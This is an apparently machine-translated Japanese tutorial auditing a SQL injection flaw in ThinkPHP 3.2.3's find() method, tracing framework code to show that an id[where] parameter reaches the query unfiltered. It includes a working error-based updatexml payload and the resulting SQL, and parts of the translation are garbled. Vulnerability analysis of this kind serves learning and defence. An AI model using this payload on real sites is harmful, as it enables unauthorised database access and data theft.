この記事は、thinkphp に関する関連知識を提供します。主に、m メソッド、d メソッド、u メソッドなどを含む、thinkPHP3.2.3sql インジェクションの脆弱性の関連問題を紹介します。関連コンテンツです。みんなの役に立つでしょう。
# 推奨学習: 「PHP ビデオ チュートリアル 」
最初のステップは、次のとおりです。それを www ディレクトリに置きます (Windows では phpstudy を使用します)。 ! ! !
<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $this->show('原来内容已经省略,太占地方'); $data = M('user')->find(I('GET.id')); var_dump($data); }}
$data = M('user')->find(I('GET.id'));#I メソッドと M メソッドには問題はありません。本当の問題は、
の
public function find($options=array()) { // 根据复合主键查找记录 $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里 // 根据复合主键查询 $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 总是查找一条记录 $options['limit'] = 1; // 分析表达式 $options = $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用 $resultSet = $this->db->select($options);//重要的一步
protected function _parseOptions($options=array()) {
if(is_array($options))
$options = array_merge($this->options,$options);
// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
//上面均没用,到现在开始有用:?
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);//这里值得注意
return $options;
}
3.
もうなくなりました
そして、上記の操作により $options もクリアされるため、ここではおそらく間違った を入力したため、2 番目の部分の追跡を 2.select:/ThinkPHP/Library/ に修正しました。 Think/Db/Driver.class.php
public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }3.buildSelectSql: アドレスは上記の
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {//直接满足,直接进入
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
}
return empty($whereStr)?'':' WHERE '.$whereStr;}
最後に $sql=where 1 および 1=updatexml(1, concat(0x7e,user(),0x7e),1)
#Then$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
プロセス全体にフィルタリングはありません。分析では PHP は手間がかかりすぎると考えられています
PHPstormブレークポイント監査:
ペイロードは変更されません:
?id [where]=1 および 1=updatexml(1,concat(0x7e,user(),0x7e),1)# または、検索機能を追跡します:
## 検証後、別の関数にステップインします。
##buildSelectSql の追跡を続ける:
parseSql の追跡を続ける:
最終コード
SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user()) ,0x7e),1)# LIMIT 1
これはまだですデバッグに便利で、基本的に頭を使う必要はありません
推奨学習: "PHP ビデオ チュートリアル
"# #
以上がthinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょうの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。